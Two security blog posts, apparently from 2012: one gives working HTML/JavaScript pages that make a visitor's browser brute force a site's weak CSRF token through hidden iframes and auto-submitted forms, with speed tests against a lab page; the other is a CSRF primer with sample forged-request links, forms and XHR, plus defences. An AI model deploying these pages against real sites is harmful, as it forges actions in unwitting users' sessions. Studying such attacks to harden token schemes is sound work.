Saturday 24 November 2012

Client-side CSRF Token Brute Forcing


While playing around with some CSRF examples the idea of client-side CSRF token brute forcing came into my head. I'd never heard of this type of attack before and did some Googling. I was interested to see that although the attack was known about there was very little in terms of proof of concept code or in-depth research. I decided to dig further into this area and play with a few examples.

Note: This is the second part of a journey into CSRF. To learn more about the basics of CSRF please check out my previous post here: http://pwndizzle.blogspot.com/2012/11/back-to-basics-csrf.html


TL;DR
Create a page containing malicious javascript, when someone visits the page the javascript runs forcing the user to send requests to brute force their own CSRF token on a remote site. Win!


Stuff you'll need

To actually play with the examples below you'll need:
  • A web server running on your machine - Apache on Linux or Xampp (which contains Apache) on Windows.
  • Code editor. I use Notepad++ but there's also the classics vim, gedit, emacs :)
  • Debugging tools. Browser developer tools - Chrome (right click inspect element), IE (press F12) and Firefox (Firebug or HttpFox). Or you could use Burp or Zap (although they can slow things down). Also Wireshark is handy for more low level investigation.
  • A CSRF example to actually attack. I used Debasish Mandal's simple CSRF example here: http://www.debasish.in/2012/06/bypassing-csrf-protectionbrute-force.html


What is client-side CSRF token brute forcing?

CSRF prevention often involves the use of a unique token to prevent the attacker from crafting a valid request ahead of time. While the attacker may not be able to directly access this token, they may be able to just guess or brute force the token instead.

Client-side CSRF brute forcing uses the same concept as traditional token brute forcing i.e. iterating through possible token values until we find a valid token, but combined with CSRF. So instead of sending requests from our attacking machine to the remote server with our cookie, we get the target user to send multiple requests to the remote server with their cookie. Eventually they will guess the correct token and the malicious request will be accepted by the server.

In a typical brute force attack we'd want to send requests and monitor the responses for an indicator that the attack succeeded. However in a CSRF brute force attack we never receive or even want to receive responses. A subtle point but worth bearing in mind as it can speed up the brute forcing process.

Also note that for this attack to succeed the remote site must be using a weak CSRF token (otherwise it will take too long to brute force) and the target user must be able to run javascript.


Surely someone's done this before?

I checked Google for previous research but couldn't find much. There were lots of articles about the CSS history hack that was around a few years ago (Nice attack but sadly it doesn't work in modern browsers). Also there was a talk from BlackHat 2009 where the guys obtained access to CSRF tokens by taking advantage of information leakage:

 http://www.blackhat.com/presentations/bh-usa-09/HAMIEL/BHUSA09-Hamiel-DynamicCSRF-PAPER.pdf

Again, cool attack, but not what I was looking for. After some more digging I came across two decent posts, one written by Debasish Mandal on his awesome blog and another by Tyler Borland:



Both guys present proof of concept CSRF brute forcers that use iframes to send multiple CSRF post requests with different tokens. Although great scripts neither was optimised for speed or handling thousands of requests. I used both scripts as a starting point for building my brute forcers and modified them to increase their functionality, simplify the code and speed them up.

When running these scripts the developer tools might show errors like "request aborted" or "canceled", these can often be ignored as the requests are actually still being sent. Burp or Wireshark can be used to verify what is actually being sent/received.


Bring on the Javascript!
Example #1

Debasish's script focused on creating a set of iframes that each contained a post request, each iframe would tackle a different CSRF token. Debasish used two files one for the generation script and one for the post form, this increased the volume of code but also the execution time. I combined the two together. 

<html>
<body>
<div id="a">Launching brute csrf...</div>

<script>
//Character sets to use
var numbers = new Array("0","1","2","3","4","5","6","7","8","9");

//Iterate through list
//May need extra for loops for additional character sets
for (var j = 0 ;j<=9;j++)
{
 for (var i = 0 ;i<=9;i++)
 {
 //Create frame
 frame = document.createElement('iframe');
 frame.setAttribute('id','myframe');
 frame.setAttribute('width','0');
 frame.setAttribute('height','0');
 frame.setAttribute('frameborder','0');
 document.body.appendChild(frame);

 //Add post form and javascript to frame
 //Add/remove character sets and positions where appropriate
 frame.contentWindow.document.write('\<script\>function fireform(){document.getElementById("csrf").submit();}\</script\>\<body onload="fireform()"\>\<form id="csrf" method="post" action="http://192.168.1.117/ww/submit.php"\>\<input name="name" value="bill"\>\<input name="phone" value="123456"\>\<input name="email" value="a@a.com"\>\<input name="csrf" value="' + numbers[j] + numbers[i] + '"\>\<input type="submit"\>\</body\>');
 frame.contentWindow.document.close(); 
 }
}
</script>
</body>
</html>


My version is a bit faster and more compact making it easier to test/modify. The biggest issue with this script is that it doesn't scale as each request has it's own iframe. When brute forcing we're going to need to send potentially thousands of requests and creating, adding and loading thousands of iframes just isn't practical.

Using setInterval() it would be possible to process iframes in batches but overall this technique is just not as efficient as Tyler's technique below.


Example #2

Tyler Borland's script was originally designed for denial of service through account lock-outs but I've modified it for brute force. The concept is quite simple, there's a post form that contains a token value, this value is repeatedly incremented and submitted to an iframe. Usually when you post data with a form the page will navigate to the response from the server. By sending our post request to the iframe the iframe will load the response and the user remains on our malicious page allowing the attack to continue! The important variable here is "target" this redirects our post request to the iframe.

Tyler originally used the iframe onload function to automatically send the next request once the current request had completed. Whilst this is a clean and effective technique it's not the fastest. For some reason I was getting a 500ms delay before any response packet was received. I couldn't find the cause of the delay but by removing the onload and implementing a threaded approach with setInterval I was able to send requests at a faster rate. I also added some simple brute force logic, character sets and basic output.


<!DOCTYPE html>
<html>
<body>

<!--Info on progress so far-->
<div id="a">Sending request: <output id="result"></output>

<!--Form that will be submitted-->
<form id="myform" action="/ww/submit.php" target="my-iframe" method="post">
  <input name="name" type="hidden" value="hacked">
  <input name="phone" type="hidden" value="hacked">
  <input name="email" type="hidden" value="hacked">
  <input id="tok" name="csrf" type="hidden" value="">
  <input type="submit"> 
</form>

<script type="text/javascript">

var alphabetlower = new Array("A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z");
var alphabetupper = new Array("a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z");
var alphabetcombo = new Array("A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z");
var numbers = new Array("0","1","2","3","4","5","6","7","8","9");
var allcombo = new Array("A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9");

var i=0;
var j=0;
var k=0;
var l=0;
var m=0;

//OPTION #1 - Without onload
//Function to submit the form once, this is repeatedly called
function submit1(){
 //Assign token value. Can switch numbers array for alphabet array depending on token.
    document.getElementById('tok').value= "" + numbers[k] + numbers[l] + numbers[m];
    //Submit form
 document.getElementById("myform").submit();
 //Show token on page
 document.getElementById('result').innerText = "" + i + j + k + l + m;
 
 //Increment token, reset to 0 when we reach 9 e.g. 009 to 000, L is incremented later
 //For alphabet array 9 needs to be switched for 25
 if(m<9){
 m++;
 } else{
 m=0;
 }
 //Tick over at end of set 9 to 0.
 if(m==0 && l==9){
 l=0;
 } else if(m==0){
 l++;
 }
 //Tick over at end of set 9 to 0. 
 if(m==0 && l==0 && k==9){
 k=0;
 } else if(m==0 && l==0){
 k++;
 }
 
}

//Submit form every <x> milliseconds
var task = setInterval("submit1()",10);
//After <x> milliseconds has passed stop submitting form
setTimeout("clearInterval(task);alert('Requests sent: ' + k + l + m);", 10000);


//OPTION #2 - Using onload
//If you want to use iframe with onload, comment out above two lines and uncomment below:
function submit2(){
   
   if(i<100){
 document.getElementById('tok').value=i;
    document.getElementById("myform").submit();
 i++;
 } else{
 var t2=new Date();
 alert('Finished in ' + (t2-t1)/1000 + ' seconds');
 }
}
//submit2();

</script>

<!--OPTION #1 - no onload-->
<iframe id="my-iframe" name="my-iframe"></iframe>
<!--OPTION #2 - using onload-->
<!--<iframe id="my-iframe" name="my-iframe" src="/ww/submit.php" onload="submit2()"></iframe>-->
<!--In Chrome if x-frame-options is set to Deny, the page won't load and onload won't trigger!-->

</body>
</html>


The brute force logic relies on setInterval, setTimeout and global variables as I couldn't get FOR loops to work. I believe this relates to the way the DOM loads content. You essentially need to execute javascript, allow the page to load, then run some more javascript, allow page to load and repeat. I'll stop now as real life web developers are probably cringing at this point, haha, hey I'm no javascript expert!

When testing this code the important parameters are the rate at which requests are sent, controlled by setInterval, and the total run time, which is controlled by setTimeout. Times are in milliseconds so for example 1000 milliseconds = 1 second. Also you will need to change the form's "action" parameter to the page you want to attack.


Example #3 (the mystery prize!)

I've also been working on my own brute force script that uses XHR which I'm going to talk about in a subsequent post, so stay tuned!

What's the performance like?

I tested my modified scripts against Desish's vulnerable page and also a remote site on the net. For each run I calculated the maximum number of requests it was possible to send per second. The results are meant only as a rough guide, as the brute force speed is heavily dependent on the exact code used and a number of external factors.

Edit: Some of these numbers may be a little off as I discovered Chrome/IE were lying to me :) To get accurate numbers I'd recommend checking what packets are actually being sent with Wireshark.











Chrome22 IE9 FF16

Debasish Local 29 25 14


Remote 7 8 7

Tyler Local 60 79 10


Remote 30 30 1









Debasish vs Tyler

The first thing you'll notice is that Tyler's script is a lot faster. Debasish's script spends too much time creating and adding all of the iframes to the DOM and then suddenly tries to load them all creating a bottleneck. Tyler's script however sequentially executes requests one by one making it more CPU/memory/network efficient.

Local vs Remote

The second thing you'll probably notice is that remote requests are a lot slower than local requests.While this is to be expected it's important to emphasize just how much of an issue this is for brute forcing. Forget about fancy protections, latency is the single biggest issue when it comes to online brute force attacks. In most cases it will simply take too long to establish connections for the hundred/thousand/millions requests needed, making brute force unfeasible. Also much like latency, the cap on concurrent connections severely limited throughput. All browsers implement a cap and there is no way around it.

For example when trying to brute force a relatively small five character token consisting of lowercase and uppercase letters and numbers the search space will consist of 62^5 = 916 million possible combinations. Performing 10 requests a second it will take nearly three years to try every combination, uh oh!

Chrome vs IE vs Firefox

The last thing I'll mention is browser differences. Firefox seemed to use some kind of throttling (not sure if this was intentional or just a technical limitation) to prevent the browser from rapidly sending requests. Often requests would be dropped with no explanation.

Chrome and IE both performed really well. I found this surprising as I assumed Chrome would whoop IE but it looks like Microsoft have done a good job with IE9. Averaging 1 request every 17ms ain't easy! For more information on the differences between browsers it's worth checking out: http://www.browserscope.org/?category=network


Hey! What about scaling?

I only did a few quick tests with Tyler's script but it seemed to scale pretty well. As mentioned already Debasish's script will need a re-write to scale properly. Also be aware that when sending a large number of requests you will blow up the developer tools, so disable them!


Are there any limitations?

Yes, quite a few.

Client-side limitations
  • Browser has a max number of concurrent connections
  • User must allow Javascript execution
  • Browser's built in CSRF protections
  • Processing speed of browser
  • Memory of browser

Server-side limitations
  • Latency between browser and web server
  • CSRF protection mechanisms e.g. Referrer/Origin checking
  • Server processing speed
  • Application layer or network layer lock-outs
  • Max number of concurrent connections for your ip
  • ISP may block large number of requests

Quite an ominous looking list. But interestingly the scripts I've covered in this post will still work on weak tokens for sites that do not implement lock-outs or origin checking.


Possible improvements and the future?

I know I said latency was the biggest issue but I think if you take a step back you realise its current CSRF techniques that are the real issue, fundamentally you are limited to the browser and to using javascript.

With that said there is more work that I think can be done with client-side CSRF brute forcing. I had only a limited amount of time to research, develop and test everything and I'm not even a web developer! :) I'd be really interested to see what other folks could do if they carried on developing this code.

Threading was not something I really discussed in this post but the setInterval method and web workers offer a lot of possibilities. Also low level efficiency is really important, opening and closing connections is really inefficient as is waiting for replies. If you could open one connection, pipe data over it and not wait for responses you've got yourself a great candidate for a brute forcer.

Using perl/python/c/java/ruby script you have a lot more flexibility. Unfortunately for CSRF to suceed the request must be performed client side which means that usually others languages can't be used. Or can they? :)


As usual I want to finish this post by saying I'm no expert with CSRF or browser internals so I have likely missed the obvious or done things completely back to front! I enjoy playing around with code and for me its a great learning experience that I want to share with others. If anyone has any ideas, corrections or comments feel free to drop me a comment below.

Cheers,

PwnDizzle

Thursday 15 November 2012

Back to Basics: CSRF

I've recently been playing with client-side CSRF token brute forcing. It's cool stuff but for folks who aren't so hot on CSRF (or just need a refresher!) I thought I'd do a quick CSRF back to basics. As CSRF has been talked about a lot before I'm going to try and keep it brief covering some simple attacks and mitigations.

For a basic introduction the best place to start is OWASP:


In a nut shell, we are tricking a user into sending our malicious request to a remote server, using their already established session. This is usually possible because the structure and contents of a vulnerable request is known ahead of time and it's just a matter of creating the request and convincing a user to send it. Awesome, so we can perform actions as another user? Yep!


How do you actually launch a CSRF attack?

If the target site has a vulnerable page that is accessed using a GET request, all we need to do is create a webpage or email containing either a malicious link or image and trick the user into accessing it. The user will run the code and unknowingly send a malicious request to a third party site. From OWASP:

<a href="http://bank.com/transfer.do?acct=MARIA&amount=100000">View my Pictures!</a>

Or:

<img src="http://bank.com/transfer.do?acct=MARIA&amount=100000" width="1" height="1" border="0">

For a vulnerable page that uses a POST request we can create a webpage with a form and some javascript to auto-submit it. When the user visits the page it will submit the request using their session cookie. The form "action" should link to the target site and the parameters should be identical to a legitimate request. 

<html>
<body>
    <form action="http://bank.com/Home/Transfer" method="post" name="badform">
        <input name="accountId" type="hidden" value="1234" />
        <input name="amount" type="hidden" value="1000" />
    </form>
<script type="text/javascript">
        document.badform.submit();
    </script>
</body>
</html>

The above examples can also be created using jquery or pure XHR, for example:

<script>
function xhrcsrf(){
var http = new XMLHttpRequest();
http.open(POST, "http://bank.com/transfer.php" , true);
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http.withCredentials = "true";
http.onreadystatechange = function() {
 if(http.readyState == 4 && http.status == 200) {
  alert(http.responseText);
 }
}
http.send("accountID=1234&amount=1000");}
xhrcsrf();
</script>

To test these examples you probably want to install xampp on Windows or apache on Linux. And for a vulnerable page I used Debasish's simple profile.php and submit.php script here:



How to protect against CSRF?

CSRF relies on the static nature of requests and the ability to send cross domain requests. By making requests unique and checking where they originate from you can easily prevent CSRF.

To make requests unique commonly a random value, or token, is included as a parameter. An attacker will not know this value ahead of time and will be unable to craft a static malicious page that can send a valid request.

For example a unique token could be generated server-side using the current time, a secret key value and a complex math function. This value is returned when the user loads a page on a site and is submitted with all requests back to the server. Assuming everything else is secure, there is no way for the attacker to know this token without knowing the underlying token generation algorithm.

Below is a status update to Facebook. I've circled the token they use to prevent CSRF.


The other protection mechanism I mentioned was sender verification. To verify the source of the request the receiving page can inspect the Referrer or Origin header of the request. A simple check would verify that the request came from your legitimate domain and not from another site (cross-domain). 

There's a great article about CSRF protections that is far more in-depth here:



How to get around CSRF protections?

This is where things get a bit tricky. If a site is checking the Origin or Referrer header of your requests you're stuck. Browsers set these headers and unless you can modify the traffic leaving the browser (malicious extension?) or on the wire (mitm), then there is no way to tackle this.

EDIT: I was actually wrong about this. Kotowicz has some work arounds here: http://blog.kotowicz.net/2011/10/stripping-referrer-for-fun-and-profit.html


Chrome added these headers.

One exception is if you can include your code somewhere on the target site, e.g. XSS, which can be leveraged for CSRF.

So what about tokens? If implemented correctly they work perfectly well and will prevent CSRF attacks. However, quite often tokens are not implemented correctly allowing us to bypass the token check or possibly brute force the token. For example:


One missed token check and you have a serious CSRF vulnerable (as well as a $5000 payout :D).


Can you brute force the token?

It depends on the entropy (complexity) of the token. You need to analyse it's length, character set, does it repeat, are there any static characters, are there relationships between characters, all of these factors determine it's entropy (Burp Sequencer can help with analysis). If a token has a high level of entropy there will be too many possible combinations and it will take too long to brute force. You also need to think about other more practical issues such as latency, which could make the attack unfeasible, or server-side lock outs. Five failed attempts and you get locked out? Brute force ain't gonna work but denial of service will :)

One of the best tools for brute forcing tokens is Burp Suite Repeater as it allows you to send a large number of requests iterating through token values until you find the correct one. Its quick and easy but requires you to have a valid cookie.

What if you don't have the target user's cookie? That's where client-side brute forcing comes in! :)


**********************

In my next post I'm going to continue with the CSRF theme and look at some interesting client-side CSRF token brute forcing examples.

Feedback and comments are always appreciated, feel free to leave a message below.

Cheers,

PwnDizzzzzle